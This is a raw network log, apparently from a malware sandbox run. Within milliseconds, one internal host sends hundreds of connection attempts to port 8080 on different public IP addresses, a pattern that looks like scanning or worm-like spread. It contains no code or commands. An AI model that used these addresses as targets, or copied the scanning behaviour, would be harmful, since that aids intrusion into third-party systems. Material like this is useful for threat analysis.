Mar 4, 2024 15:05:35.365186930 CET	47577	8080	192.168.2.13	94.215.89.173
Mar 4, 2024 15:05:35.365197897 CET	47577	8080	192.168.2.13	94.112.150.125
Mar 4, 2024 15:05:35.365211964 CET	47577	8080	192.168.2.13	94.239.190.30
Mar 4, 2024 15:05:35.365216970 CET	47577	8080	192.168.2.13	31.253.75.94
Mar 4, 2024 15:05:35.365220070 CET	47577	8080	192.168.2.13	95.125.139.110
Mar 4, 2024 15:05:35.365231991 CET	47577	8080	192.168.2.13	62.239.237.92
Mar 4, 2024 15:05:35.365233898 CET	47577	8080	192.168.2.13	85.178.178.242
Mar 4, 2024 15:05:35.365237951 CET	47577	8080	192.168.2.13	85.104.6.228
Mar 4, 2024 15:05:35.365255117 CET	47577	8080	192.168.2.13	62.104.1.83
Mar 4, 2024 15:05:35.365261078 CET	47577	8080	192.168.2.13	31.61.151.151
Mar 4, 2024 15:05:35.365261078 CET	47577	8080	192.168.2.13	95.25.159.242
Mar 4, 2024 15:05:35.365262032 CET	47577	8080	192.168.2.13	95.133.61.245
Mar 4, 2024 15:05:35.365263939 CET	47577	8080	192.168.2.13	85.154.212.108
Mar 4, 2024 15:05:35.365277052 CET	47577	8080	192.168.2.13	95.239.43.232
Mar 4, 2024 15:05:35.365289927 CET	47577	8080	192.168.2.13	31.197.166.255
Mar 4, 2024 15:05:35.365293026 CET	47577	8080	192.168.2.13	62.233.189.212
Mar 4, 2024 15:05:35.365314007 CET	47577	8080	192.168.2.13	95.40.76.198
Mar 4, 2024 15:05:35.365314007 CET	47577	8080	192.168.2.13	31.7.166.87
Mar 4, 2024 15:05:35.365314960 CET	47577	8080	192.168.2.13	62.83.2.135
Mar 4, 2024 15:05:35.365317106 CET	47577	8080	192.168.2.13	95.209.132.7
Mar 4, 2024 15:05:35.365328074 CET	47577	8080	192.168.2.13	95.55.166.129
Mar 4, 2024 15:05:35.365328074 CET	47577	8080	192.168.2.13	62.135.157.14
Mar 4, 2024 15:05:35.365338087 CET	47577	8080	192.168.2.13	94.136.43.197
Mar 4, 2024 15:05:35.365339041 CET	47577	8080	192.168.2.13	95.189.139.192
Mar 4, 2024 15:05:35.365345001 CET	47577	8080	192.168.2.13	94.111.58.51
Mar 4, 2024 15:05:35.365353107 CET	47577	8080	192.168.2.13	62.191.58.64
Mar 4, 2024 15:05:35.365359068 CET	47577	8080	192.168.2.13	95.33.194.103
Mar 4, 2024 15:05:35.365365028 CET	47577	8080	192.168.2.13	94.38.245.90
Mar 4, 2024 15:05:35.365370035 CET	47577	8080	192.168.2.13	94.134.186.194
Mar 4, 2024 15:05:35.365382910 CET	47577	8080	192.168.2.13	62.219.161.227
Mar 4, 2024 15:05:35.365384102 CET	47577	8080	192.168.2.13	31.67.161.94
Mar 4, 2024 15:05:35.365395069 CET	47577	8080	192.168.2.13	94.48.26.2
Mar 4, 2024 15:05:35.365396023 CET	47577	8080	192.168.2.13	62.181.28.216
Mar 4, 2024 15:05:35.365410089 CET	47577	8080	192.168.2.13	31.33.249.149
Mar 4, 2024 15:05:35.365411997 CET	47577	8080	192.168.2.13	31.166.241.153
Mar 4, 2024 15:05:35.365427017 CET	47577	8080	192.168.2.13	31.144.36.121
Mar 4, 2024 15:05:35.365427971 CET	47577	8080	192.168.2.13	62.127.177.10
Mar 4, 2024 15:05:35.365437984 CET	47577	8080	192.168.2.13	94.47.108.82
Mar 4, 2024 15:05:35.365451097 CET	47577	8080	192.168.2.13	94.20.214.229
Mar 4, 2024 15:05:35.365463018 CET	47577	8080	192.168.2.13	95.169.106.102
Mar 4, 2024 15:05:35.365466118 CET	47577	8080	192.168.2.13	95.253.190.14
Mar 4, 2024 15:05:35.365469933 CET	47577	8080	192.168.2.13	62.194.243.43
Mar 4, 2024 15:05:35.365474939 CET	47577	8080	192.168.2.13	85.39.201.209
Mar 4, 2024 15:05:35.365475893 CET	47577	8080	192.168.2.13	31.106.216.207
Mar 4, 2024 15:05:35.365493059 CET	47577	8080	192.168.2.13	85.208.73.103
Mar 4, 2024 15:05:35.365493059 CET	47577	8080	192.168.2.13	62.112.47.86
Mar 4, 2024 15:05:35.365493059 CET	47577	8080	192.168.2.13	85.90.120.180
Mar 4, 2024 15:05:35.365498066 CET	47577	8080	192.168.2.13	85.131.94.154
Mar 4, 2024 15:05:35.365502119 CET	47577	8080	192.168.2.13	85.204.140.169
Mar 4, 2024 15:05:35.365514994 CET	47577	8080	192.168.2.13	31.141.151.142
Mar 4, 2024 15:05:35.365520954 CET	47577	8080	192.168.2.13	31.237.9.42
Mar 4, 2024 15:05:35.365526915 CET	47577	8080	192.168.2.13	85.45.252.188
Mar 4, 2024 15:05:35.365535021 CET	47577	8080	192.168.2.13	94.22.73.214
Mar 4, 2024 15:05:35.365540028 CET	47577	8080	192.168.2.13	85.153.81.159
Mar 4, 2024 15:05:35.365559101 CET	47577	8080	192.168.2.13	94.81.16.26
Mar 4, 2024 15:05:35.365559101 CET	47577	8080	192.168.2.13	85.40.126.147
Mar 4, 2024 15:05:35.365569115 CET	47577	8080	192.168.2.13	95.74.18.255
Mar 4, 2024 15:05:35.365570068 CET	47577	8080	192.168.2.13	85.83.74.159
Mar 4, 2024 15:05:35.365577936 CET	47577	8080	192.168.2.13	31.109.133.80
Mar 4, 2024 15:05:35.365580082 CET	47577	8080	192.168.2.13	94.57.90.252
Mar 4, 2024 15:05:35.365596056 CET	47577	8080	192.168.2.13	31.20.82.1
Mar 4, 2024 15:05:35.365600109 CET	47577	8080	192.168.2.13	85.86.112.177
Mar 4, 2024 15:05:35.365601063 CET	47577	8080	192.168.2.13	31.134.224.226
Mar 4, 2024 15:05:35.365603924 CET	47577	8080	192.168.2.13	94.118.15.169
Mar 4, 2024 15:05:35.365606070 CET	47577	8080	192.168.2.13	31.2.27.101
Mar 4, 2024 15:05:35.365622044 CET	47577	8080	192.168.2.13	62.111.163.2
Mar 4, 2024 15:05:35.365623951 CET	47577	8080	192.168.2.13	85.62.97.108
Mar 4, 2024 15:05:35.365638971 CET	47577	8080	192.168.2.13	31.217.245.14
Mar 4, 2024 15:05:35.365638971 CET	47577	8080	192.168.2.13	85.168.222.156
Mar 4, 2024 15:05:35.365638971 CET	47577	8080	192.168.2.13	94.142.133.107
Mar 4, 2024 15:05:35.365641117 CET	47577	8080	192.168.2.13	94.30.254.245
Mar 4, 2024 15:05:35.365641117 CET	47577	8080	192.168.2.13	31.235.3.184
Mar 4, 2024 15:05:35.365642071 CET	47577	8080	192.168.2.13	95.8.168.235
Mar 4, 2024 15:05:35.365649939 CET	47577	8080	192.168.2.13	95.153.155.48
Mar 4, 2024 15:05:35.365658998 CET	47577	8080	192.168.2.13	85.251.17.7
Mar 4, 2024 15:05:35.365660906 CET	47577	8080	192.168.2.13	85.223.64.254
Mar 4, 2024 15:05:35.365672112 CET	47577	8080	192.168.2.13	31.56.140.112
Mar 4, 2024 15:05:35.365684032 CET	47577	8080	192.168.2.13	94.141.37.192
Mar 4, 2024 15:05:35.365693092 CET	47577	8080	192.168.2.13	95.99.254.189
Mar 4, 2024 15:05:35.365698099 CET	47577	8080	192.168.2.13	95.160.52.165
Mar 4, 2024 15:05:35.365700960 CET	47577	8080	192.168.2.13	31.253.204.68
Mar 4, 2024 15:05:35.365705967 CET	47577	8080	192.168.2.13	31.254.90.190
Mar 4, 2024 15:05:35.365711927 CET	47577	8080	192.168.2.13	31.102.83.89
Mar 4, 2024 15:05:35.365722895 CET	47577	8080	192.168.2.13	31.112.234.101
Mar 4, 2024 15:05:35.365732908 CET	47577	8080	192.168.2.13	62.96.249.98
Mar 4, 2024 15:05:35.365735054 CET	47577	8080	192.168.2.13	85.100.15.247
Mar 4, 2024 15:05:35.365742922 CET	47577	8080	192.168.2.13	62.73.76.173
Mar 4, 2024 15:05:35.365755081 CET	47577	8080	192.168.2.13	85.134.65.80
Mar 4, 2024 15:05:35.365765095 CET	47577	8080	192.168.2.13	31.218.78.207
Mar 4, 2024 15:05:35.365777016 CET	47577	8080	192.168.2.13	85.76.220.138
Mar 4, 2024 15:05:35.365778923 CET	47577	8080	192.168.2.13	62.239.82.223
Mar 4, 2024 15:05:35.365788937 CET	47577	8080	192.168.2.13	31.234.153.58
Mar 4, 2024 15:05:35.365803003 CET	47577	8080	192.168.2.13	62.13.117.156
Mar 4, 2024 15:05:35.365804911 CET	47577	8080	192.168.2.13	95.96.84.206
Mar 4, 2024 15:05:35.365813971 CET	47577	8080	192.168.2.13	95.4.137.94
Mar 4, 2024 15:05:35.365813971 CET	47577	8080	192.168.2.13	95.156.172.165
Mar 4, 2024 15:05:35.365832090 CET	47577	8080	192.168.2.13	95.239.234.226
Mar 4, 2024 15:05:35.365833044 CET	47577	8080	192.168.2.13	85.38.95.109
Mar 4, 2024 15:05:35.365833044 CET	47577	8080	192.168.2.13	94.146.142.18
Mar 4, 2024 15:05:35.365839958 CET	47577	8080	192.168.2.13	31.173.254.47
Mar 4, 2024 15:05:35.365856886 CET	47577	8080	192.168.2.13	95.227.128.162
Mar 4, 2024 15:05:35.365865946 CET	47577	8080	192.168.2.13	85.70.97.186
Mar 4, 2024 15:05:35.365875006 CET	47577	8080	192.168.2.13	95.187.5.245
Mar 4, 2024 15:05:35.365875959 CET	47577	8080	192.168.2.13	85.221.124.143
Mar 4, 2024 15:05:35.365875006 CET	47577	8080	192.168.2.13	62.230.2.203
Mar 4, 2024 15:05:35.365885019 CET	47577	8080	192.168.2.13	95.101.239.208
Mar 4, 2024 15:05:35.365911961 CET	47577	8080	192.168.2.13	62.87.87.175
Mar 4, 2024 15:05:35.365911961 CET	47577	8080	192.168.2.13	62.22.69.64
Mar 4, 2024 15:05:35.365915060 CET	47577	8080	192.168.2.13	85.35.114.180
Mar 4, 2024 15:05:35.365933895 CET	47577	8080	192.168.2.13	95.137.191.44
Mar 4, 2024 15:05:35.365936995 CET	47577	8080	192.168.2.13	62.188.81.249
Mar 4, 2024 15:05:35.365938902 CET	47577	8080	192.168.2.13	62.87.176.89
Mar 4, 2024 15:05:35.365938902 CET	47577	8080	192.168.2.13	62.224.117.154
Mar 4, 2024 15:05:35.365938902 CET	47577	8080	192.168.2.13	95.58.192.216
Mar 4, 2024 15:05:35.365948915 CET	47577	8080	192.168.2.13	94.252.136.1
Mar 4, 2024 15:05:35.365955114 CET	47577	8080	192.168.2.13	85.98.136.117
Mar 4, 2024 15:05:35.365963936 CET	47577	8080	192.168.2.13	62.160.219.160
Mar 4, 2024 15:05:35.365973949 CET	47577	8080	192.168.2.13	62.140.83.137
Mar 4, 2024 15:05:35.365974903 CET	47577	8080	192.168.2.13	95.152.37.99
Mar 4, 2024 15:05:35.365986109 CET	47577	8080	192.168.2.13	85.123.153.1
Mar 4, 2024 15:05:35.365988970 CET	47577	8080	192.168.2.13	95.146.154.37
Mar 4, 2024 15:05:35.366000891 CET	47577	8080	192.168.2.13	94.197.102.89
Mar 4, 2024 15:05:35.366012096 CET	47577	8080	192.168.2.13	94.81.92.111
Mar 4, 2024 15:05:35.366014957 CET	47577	8080	192.168.2.13	85.191.132.222
Mar 4, 2024 15:05:35.366017103 CET	47577	8080	192.168.2.13	94.223.95.239
Mar 4, 2024 15:05:35.366034031 CET	47577	8080	192.168.2.13	94.37.69.33
Mar 4, 2024 15:05:35.366044044 CET	47577	8080	192.168.2.13	62.201.223.130
Mar 4, 2024 15:05:35.366049051 CET	47577	8080	192.168.2.13	85.249.35.13
Mar 4, 2024 15:05:35.366050005 CET	47577	8080	192.168.2.13	62.207.168.96
Mar 4, 2024 15:05:35.366050005 CET	47577	8080	192.168.2.13	85.115.218.68
Mar 4, 2024 15:05:35.366069078 CET	47577	8080	192.168.2.13	95.76.106.12
Mar 4, 2024 15:05:35.366079092 CET	47577	8080	192.168.2.13	62.13.41.180
Mar 4, 2024 15:05:35.366080046 CET	47577	8080	192.168.2.13	85.181.190.105
Mar 4, 2024 15:05:35.366082907 CET	47577	8080	192.168.2.13	85.226.247.79
Mar 4, 2024 15:05:35.366091967 CET	47577	8080	192.168.2.13	31.173.132.84
Mar 4, 2024 15:05:35.366091967 CET	47577	8080	192.168.2.13	85.222.49.29
Mar 4, 2024 15:05:35.366092920 CET	47577	8080	192.168.2.13	31.142.146.43
Mar 4, 2024 15:05:35.366101980 CET	47577	8080	192.168.2.13	94.222.57.118
Mar 4, 2024 15:05:35.366101980 CET	47577	8080	192.168.2.13	31.20.27.92
Mar 4, 2024 15:05:35.366101980 CET	47577	8080	192.168.2.13	95.203.64.85
Mar 4, 2024 15:05:35.366108894 CET	47577	8080	192.168.2.13	94.19.104.224
Mar 4, 2024 15:05:35.366111994 CET	47577	8080	192.168.2.13	95.218.111.141
Mar 4, 2024 15:05:35.366125107 CET	47577	8080	192.168.2.13	85.120.205.51
Mar 4, 2024 15:05:35.366127014 CET	47577	8080	192.168.2.13	95.244.183.20
Mar 4, 2024 15:05:35.366146088 CET	47577	8080	192.168.2.13	62.194.14.71
Mar 4, 2024 15:05:35.366151094 CET	47577	8080	192.168.2.13	31.40.234.223
Mar 4, 2024 15:05:35.366153955 CET	47577	8080	192.168.2.13	95.199.69.70
Mar 4, 2024 15:05:35.366167068 CET	47577	8080	192.168.2.13	31.216.147.83
Mar 4, 2024 15:05:35.366168976 CET	47577	8080	192.168.2.13	95.228.162.48
Mar 4, 2024 15:05:35.366183043 CET	47577	8080	192.168.2.13	94.100.96.151
Mar 4, 2024 15:05:35.366184950 CET	47577	8080	192.168.2.13	94.246.126.126
Mar 4, 2024 15:05:35.366195917 CET	47577	8080	192.168.2.13	31.103.158.193
Mar 4, 2024 15:05:35.366195917 CET	47577	8080	192.168.2.13	31.167.169.248
Mar 4, 2024 15:05:35.366199970 CET	47577	8080	192.168.2.13	31.130.249.65
Mar 4, 2024 15:05:35.366213083 CET	47577	8080	192.168.2.13	94.173.255.104
Mar 4, 2024 15:05:35.366214991 CET	47577	8080	192.168.2.13	62.96.159.84
Mar 4, 2024 15:05:35.366224051 CET	47577	8080	192.168.2.13	95.246.82.215
Mar 4, 2024 15:05:35.366231918 CET	47577	8080	192.168.2.13	94.30.192.122
Mar 4, 2024 15:05:35.366239071 CET	47577	8080	192.168.2.13	31.58.242.24
Mar 4, 2024 15:05:35.366240025 CET	47577	8080	192.168.2.13	31.8.196.3
Mar 4, 2024 15:05:35.366252899 CET	47577	8080	192.168.2.13	31.44.69.125
Mar 4, 2024 15:05:35.366255999 CET	47577	8080	192.168.2.13	94.45.57.182
Mar 4, 2024 15:05:35.366256952 CET	47577	8080	192.168.2.13	62.153.137.131
Mar 4, 2024 15:05:35.366257906 CET	47577	8080	192.168.2.13	31.146.239.28
Mar 4, 2024 15:05:35.366271973 CET	47577	8080	192.168.2.13	85.235.11.238
Mar 4, 2024 15:05:35.366275072 CET	47577	8080	192.168.2.13	85.145.158.126
Mar 4, 2024 15:05:35.366290092 CET	47577	8080	192.168.2.13	95.15.39.247
Mar 4, 2024 15:05:35.366293907 CET	47577	8080	192.168.2.13	31.0.79.123
Mar 4, 2024 15:05:35.366306067 CET	47577	8080	192.168.2.13	31.72.86.179
Mar 4, 2024 15:05:35.366311073 CET	47577	8080	192.168.2.13	94.123.247.59
Mar 4, 2024 15:05:35.366323948 CET	47577	8080	192.168.2.13	95.9.154.188
Mar 4, 2024 15:05:35.366324902 CET	47577	8080	192.168.2.13	31.194.63.223
Mar 4, 2024 15:05:35.366333961 CET	47577	8080	192.168.2.13	62.7.64.167
Mar 4, 2024 15:05:35.366347075 CET	47577	8080	192.168.2.13	62.12.182.47
Mar 4, 2024 15:05:35.366348982 CET	47577	8080	192.168.2.13	95.217.17.127
Mar 4, 2024 15:05:35.366355896 CET	47577	8080	192.168.2.13	94.22.108.138
Mar 4, 2024 15:05:35.366364956 CET	47577	8080	192.168.2.13	94.15.153.27
Mar 4, 2024 15:05:35.366368055 CET	47577	8080	192.168.2.13	94.122.122.76
Mar 4, 2024 15:05:35.366383076 CET	47577	8080	192.168.2.13	94.4.84.44
Mar 4, 2024 15:05:35.366384029 CET	47577	8080	192.168.2.13	31.106.203.79
Mar 4, 2024 15:05:35.366384029 CET	47577	8080	192.168.2.13	94.10.246.138
Mar 4, 2024 15:05:35.366404057 CET	47577	8080	192.168.2.13	85.217.222.228
Mar 4, 2024 15:05:35.366404057 CET	47577	8080	192.168.2.13	31.60.255.76
Mar 4, 2024 15:05:35.366404057 CET	47577	8080	192.168.2.13	95.23.169.138
Mar 4, 2024 15:05:35.366419077 CET	47577	8080	192.168.2.13	85.132.233.110
Mar 4, 2024 15:05:35.366419077 CET	47577	8080	192.168.2.13	94.178.134.45
Mar 4, 2024 15:05:35.366434097 CET	47577	8080	192.168.2.13	94.84.204.48
Mar 4, 2024 15:05:35.366437912 CET	47577	8080	192.168.2.13	62.78.116.1
Mar 4, 2024 15:05:35.366447926 CET	47577	8080	192.168.2.13	31.120.113.128
Mar 4, 2024 15:05:35.366450071 CET	47577	8080	192.168.2.13	95.143.130.243
Mar 4, 2024 15:05:35.366456032 CET	47577	8080	192.168.2.13	31.43.208.121
Mar 4, 2024 15:05:35.366463900 CET	47577	8080	192.168.2.13	62.30.7.237
Mar 4, 2024 15:05:35.366465092 CET	47577	8080	192.168.2.13	62.66.129.153
Mar 4, 2024 15:05:35.366482019 CET	47577	8080	192.168.2.13	94.123.68.194
Mar 4, 2024 15:05:35.366482019 CET	47577	8080	192.168.2.13	94.150.66.128
Mar 4, 2024 15:05:35.366482019 CET	47577	8080	192.168.2.13	94.234.142.53
Mar 4, 2024 15:05:35.366494894 CET	47577	8080	192.168.2.13	94.175.74.76
Mar 4, 2024 15:05:35.366497040 CET	47577	8080	192.168.2.13	95.147.35.65
Mar 4, 2024 15:05:35.366508961 CET	47577	8080	192.168.2.13	85.43.117.205
Mar 4, 2024 15:05:35.366523027 CET	47577	8080	192.168.2.13	31.10.197.77
Mar 4, 2024 15:05:35.366524935 CET	47577	8080	192.168.2.13	94.173.18.30
Mar 4, 2024 15:05:35.366528034 CET	47577	8080	192.168.2.13	31.142.140.112
Mar 4, 2024 15:05:35.366544008 CET	47577	8080	192.168.2.13	31.27.94.129
Mar 4, 2024 15:05:35.366553068 CET	47577	8080	192.168.2.13	94.185.226.116
Mar 4, 2024 15:05:35.366563082 CET	47577	8080	192.168.2.13	94.207.146.249
Mar 4, 2024 15:05:35.366564035 CET	47577	8080	192.168.2.13	31.67.22.201
Mar 4, 2024 15:05:35.366559982 CET	47577	8080	192.168.2.13	94.30.168.142
Mar 4, 2024 15:05:35.366575956 CET	47577	8080	192.168.2.13	62.233.56.17
Mar 4, 2024 15:05:35.366575956 CET	47577	8080	192.168.2.13	85.67.19.110
Mar 4, 2024 15:05:35.366584063 CET	47577	8080	192.168.2.13	31.210.249.212
Mar 4, 2024 15:05:35.366601944 CET	47577	8080	192.168.2.13	62.170.19.9
Mar 4, 2024 15:05:35.366601944 CET	47577	8080	192.168.2.13	62.32.220.21
Mar 4, 2024 15:05:35.366607904 CET	47577	8080	192.168.2.13	85.120.109.255
Mar 4, 2024 15:05:35.366615057 CET	47577	8080	192.168.2.13	62.144.84.101
Mar 4, 2024 15:05:35.366632938 CET	47577	8080	192.168.2.13	94.228.229.217
Mar 4, 2024 15:05:35.366632938 CET	47577	8080	192.168.2.13	95.190.160.173
Mar 4, 2024 15:05:35.366640091 CET	47577	8080	192.168.2.13	85.186.101.253
Mar 4, 2024 15:05:35.366652966 CET	47577	8080	192.168.2.13	95.34.198.243
Mar 4, 2024 15:05:35.366652966 CET	47577	8080	192.168.2.13	62.202.78.145
Mar 4, 2024 15:05:35.366652966 CET	47577	8080	192.168.2.13	62.130.77.102
Mar 4, 2024 15:05:35.366669893 CET	47577	8080	192.168.2.13	85.130.113.97
Mar 4, 2024 15:05:35.366673946 CET	47577	8080	192.168.2.13	95.242.239.232
Mar 4, 2024 15:05:35.366676092 CET	47577	8080	192.168.2.13	85.186.181.242
Mar 4, 2024 15:05:35.366691113 CET	47577	8080	192.168.2.13	94.207.36.95
Mar 4, 2024 15:05:35.366695881 CET	47577	8080	192.168.2.13	95.184.36.69
Mar 4, 2024 15:05:35.366708994 CET	47577	8080	192.168.2.13	94.124.179.251
Mar 4, 2024 15:05:35.366722107 CET	47577	8080	192.168.2.13	94.240.90.121
Mar 4, 2024 15:05:35.366729021 CET	47577	8080	192.168.2.13	94.251.232.206
Mar 4, 2024 15:05:35.366739035 CET	47577	8080	192.168.2.13	94.67.168.37
Mar 4, 2024 15:05:35.366748095 CET	47577	8080	192.168.2.13	94.206.43.218
Mar 4, 2024 15:05:35.366755009 CET	47577	8080	192.168.2.13	95.230.176.53
Mar 4, 2024 15:05:35.366755009 CET	47577	8080	192.168.2.13	62.150.189.90
Mar 4, 2024 15:05:35.366759062 CET	47577	8080	192.168.2.13	94.44.173.251
Mar 4, 2024 15:05:35.366759062 CET	47577	8080	192.168.2.13	94.123.249.201
Mar 4, 2024 15:05:35.366760969 CET	47577	8080	192.168.2.13	31.244.133.2
Mar 4, 2024 15:05:35.366775036 CET	47577	8080	192.168.2.13	85.238.82.193
Mar 4, 2024 15:05:35.366777897 CET	47577	8080	192.168.2.13	62.254.234.254
Mar 4, 2024 15:05:35.366785049 CET	47577	8080	192.168.2.13	95.92.40.50
Mar 4, 2024 15:05:35.366786003 CET	47577	8080	192.168.2.13	31.83.51.230
Mar 4, 2024 15:05:35.366790056 CET	47577	8080	192.168.2.13	31.9.221.132
Mar 4, 2024 15:05:35.366799116 CET	47577	8080	192.168.2.13	94.89.52.178
Mar 4, 2024 15:05:35.366806984 CET	47577	8080	192.168.2.13	85.245.195.136
Mar 4, 2024 15:05:35.366816044 CET	47577	8080	192.168.2.13	62.25.22.146
Mar 4, 2024 15:05:35.366822004 CET	47577	8080	192.168.2.13	31.124.249.40
Mar 4, 2024 15:05:35.366823912 CET	47577	8080	192.168.2.13	94.144.50.122
Mar 4, 2024 15:05:35.366838932 CET	47577	8080	192.168.2.13	31.23.201.177
Mar 4, 2024 15:05:35.366838932 CET	47577	8080	192.168.2.13	62.91.58.171
Mar 4, 2024 15:05:35.366852045 CET	47577	8080	192.168.2.13	95.92.167.77
Mar 4, 2024 15:05:35.366854906 CET	47577	8080	192.168.2.13	31.132.3.148
Mar 4, 2024 15:05:35.366868019 CET	47577	8080	192.168.2.13	31.84.251.59
Mar 4, 2024 15:05:35.366872072 CET	47577	8080	192.168.2.13	62.146.92.247
Mar 4, 2024 15:05:35.366885900 CET	47577	8080	192.168.2.13	31.20.191.172
Mar 4, 2024 15:05:35.366889000 CET	47577	8080	192.168.2.13	62.184.130.93
Mar 4, 2024 15:05:35.366905928 CET	47577	8080	192.168.2.13	62.203.143.98
Mar 4, 2024 15:05:35.366905928 CET	47577	8080	192.168.2.13	94.83.15.96
Mar 4, 2024 15:05:35.366914034 CET	47577	8080	192.168.2.13	94.242.178.136
Mar 4, 2024 15:05:35.366918087 CET	47577	8080	192.168.2.13	94.22.38.99
Mar 4, 2024 15:05:35.366931915 CET	47577	8080	192.168.2.13	95.73.4.221
Mar 4, 2024 15:05:35.366941929 CET	47577	8080	192.168.2.13	31.165.18.134
Mar 4, 2024 15:05:35.366941929 CET	47577	8080	192.168.2.13	62.20.199.9
Mar 4, 2024 15:05:35.366946936 CET	47577	8080	192.168.2.13	31.13.79.47
Mar 4, 2024 15:05:35.366950035 CET	47577	8080	192.168.2.13	95.115.159.202
Mar 4, 2024 15:05:35.366964102 CET	47577	8080	192.168.2.13	85.182.22.25
Mar 4, 2024 15:05:35.366964102 CET	47577	8080	192.168.2.13	62.147.234.196
Mar 4, 2024 15:05:35.366976023 CET	47577	8080	192.168.2.13	95.179.32.101
Mar 4, 2024 15:05:35.366981983 CET	47577	8080	192.168.2.13	85.136.61.54
Mar 4, 2024 15:05:35.366992950 CET	47577	8080	192.168.2.13	31.43.65.181
Mar 4, 2024 15:05:35.367007971 CET	47577	8080	192.168.2.13	95.22.167.93
Mar 4, 2024 15:05:35.367008924 CET	47577	8080	192.168.2.13	31.204.167.165
Mar 4, 2024 15:05:35.367008924 CET	47577	8080	192.168.2.13	94.201.225.112
Mar 4, 2024 15:05:35.367018938 CET	47577	8080	192.168.2.13	62.10.48.23
Mar 4, 2024 15:05:35.367023945 CET	47577	8080	192.168.2.13	94.205.223.130
Mar 4, 2024 15:05:35.367037058 CET	47577	8080	192.168.2.13	62.70.152.67
Mar 4, 2024 15:05:35.367044926 CET	47577	8080	192.168.2.13	94.209.81.191
Mar 4, 2024 15:05:35.367044926 CET	47577	8080	192.168.2.13	95.196.70.69
Mar 4, 2024 15:05:35.367044926 CET	47577	8080	192.168.2.13	94.118.111.105
Mar 4, 2024 15:05:35.367059946 CET	47577	8080	192.168.2.13	31.101.239.86
Mar 4, 2024 15:05:35.367064953 CET	47577	8080	192.168.2.13	62.218.59.32
Mar 4, 2024 15:05:35.367075920 CET	47577	8080	192.168.2.13	95.28.223.190
Mar 4, 2024 15:05:35.367084980 CET	47577	8080	192.168.2.13	85.154.122.46
Mar 4, 2024 15:05:35.367121935 CET	47577	8080	192.168.2.13	94.27.98.87
Mar 4, 2024 15:05:35.367122889 CET	47577	8080	192.168.2.13	62.59.100.61
Mar 4, 2024 15:05:35.367129087 CET	47577	8080	192.168.2.13	85.66.59.157
Mar 4, 2024 15:05:35.367137909 CET	47577	8080	192.168.2.13	31.72.10.253
Mar 4, 2024 15:05:35.367139101 CET	47577	8080	192.168.2.13	31.110.53.253
Mar 4, 2024 15:05:35.367153883 CET	47577	8080	192.168.2.13	31.140.62.169
Mar 4, 2024 15:05:35.367157936 CET	47577	8080	192.168.2.13	31.52.247.96
Mar 4, 2024 15:05:35.367170095 CET	47577	8080	192.168.2.13	31.205.188.237
Mar 4, 2024 15:05:35.367171049 CET	47577	8080	192.168.2.13	62.231.164.160
Mar 4, 2024 15:05:35.367181063 CET	47577	8080	192.168.2.13	31.80.45.105
Mar 4, 2024 15:05:35.367182970 CET	47577	8080	192.168.2.13	94.203.121.94
Mar 4, 2024 15:05:35.367183924 CET	47577	8080	192.168.2.13	94.62.57.184
Mar 4, 2024 15:05:35.367197990 CET	47577	8080	192.168.2.13	62.222.226.174
Mar 4, 2024 15:05:35.367198944 CET	47577	8080	192.168.2.13	94.9.77.226
Mar 4, 2024 15:05:35.367199898 CET	47577	8080	192.168.2.13	95.121.102.18
Mar 4, 2024 15:05:35.367217064 CET	47577	8080	192.168.2.13	62.48.23.161
Mar 4, 2024 15:05:35.367225885 CET	47577	8080	192.168.2.13	95.192.146.113
Mar 4, 2024 15:05:35.367229939 CET	47577	8080	192.168.2.13	62.166.233.181
Mar 4, 2024 15:05:35.367240906 CET	47577	8080	192.168.2.13	85.200.146.250
Mar 4, 2024 15:05:35.367247105 CET	47577	8080	192.168.2.13	94.164.108.169
Mar 4, 2024 15:05:35.367248058 CET	47577	8080	192.168.2.13	62.232.37.206
Mar 4, 2024 15:05:35.367255926 CET	47577	8080	192.168.2.13	31.45.31.142
Mar 4, 2024 15:05:35.367257118 CET	47577	8080	192.168.2.13	94.109.122.91
Mar 4, 2024 15:05:35.367273092 CET	47577	8080	192.168.2.13	31.139.190.80
Mar 4, 2024 15:05:35.367276907 CET	47577	8080	192.168.2.13	31.248.222.246
Mar 4, 2024 15:05:35.367278099 CET	47577	8080	192.168.2.13	85.67.188.156
Mar 4, 2024 15:05:35.367281914 CET	47577	8080	192.168.2.13	31.214.199.74
Mar 4, 2024 15:05:35.367289066 CET	47577	8080	192.168.2.13	85.27.90.246
Mar 4, 2024 15:05:35.367300987 CET	47577	8080	192.168.2.13	94.203.187.84
Mar 4, 2024 15:05:35.367300987 CET	47577	8080	192.168.2.13	95.111.26.178
Mar 4, 2024 15:05:35.367307901 CET	47577	8080	192.168.2.13	85.31.185.63
Mar 4, 2024 15:05:35.367317915 CET	47577	8080	192.168.2.13	94.53.67.8
Mar 4, 2024 15:05:35.367325068 CET	47577	8080	192.168.2.13	85.51.154.231
Mar 4, 2024 15:05:35.367326021 CET	47577	8080	192.168.2.13	31.13.34.148
Mar 4, 2024 15:05:35.367336988 CET	47577	8080	192.168.2.13	31.251.49.243
Mar 4, 2024 15:05:35.367338896 CET	47577	8080	192.168.2.13	62.211.248.36
Mar 4, 2024 15:05:35.367351055 CET	47577	8080	192.168.2.13	85.120.119.134
Mar 4, 2024 15:05:35.367357969 CET	47577	8080	192.168.2.13	31.22.85.133
Mar 4, 2024 15:05:35.367363930 CET	47577	8080	192.168.2.13	62.112.106.184
Mar 4, 2024 15:05:35.367377043 CET	47577	8080	192.168.2.13	95.172.64.74
Mar 4, 2024 15:05:35.367383003 CET	47577	8080	192.168.2.13	95.234.194.98
Mar 4, 2024 15:05:35.367384911 CET	47577	8080	192.168.2.13	62.26.31.12
Mar 4, 2024 15:05:35.367397070 CET	47577	8080	192.168.2.13	95.134.68.157
Mar 4, 2024 15:05:35.367397070 CET	47577	8080	192.168.2.13	31.24.201.69
Mar 4, 2024 15:05:35.367399931 CET	47577	8080	192.168.2.13	31.79.102.226
Mar 4, 2024 15:05:35.367399931 CET	47577	8080	192.168.2.13	94.69.122.111
Mar 4, 2024 15:05:35.367410898 CET	47577	8080	192.168.2.13	94.132.132.81
Mar 4, 2024 15:05:35.367413044 CET	47577	8080	192.168.2.13	95.74.167.211
Mar 4, 2024 15:05:35.367429972 CET	47577	8080	192.168.2.13	85.105.61.15
Mar 4, 2024 15:05:35.367430925 CET	47577	8080	192.168.2.13	95.58.66.4
Mar 4, 2024 15:05:35.367432117 CET	47577	8080	192.168.2.13	94.96.165.221
Mar 4, 2024 15:05:35.367435932 CET	47577	8080	192.168.2.13	62.168.235.213
Mar 4, 2024 15:05:35.367455006 CET	47577	8080	192.168.2.13	94.112.186.250
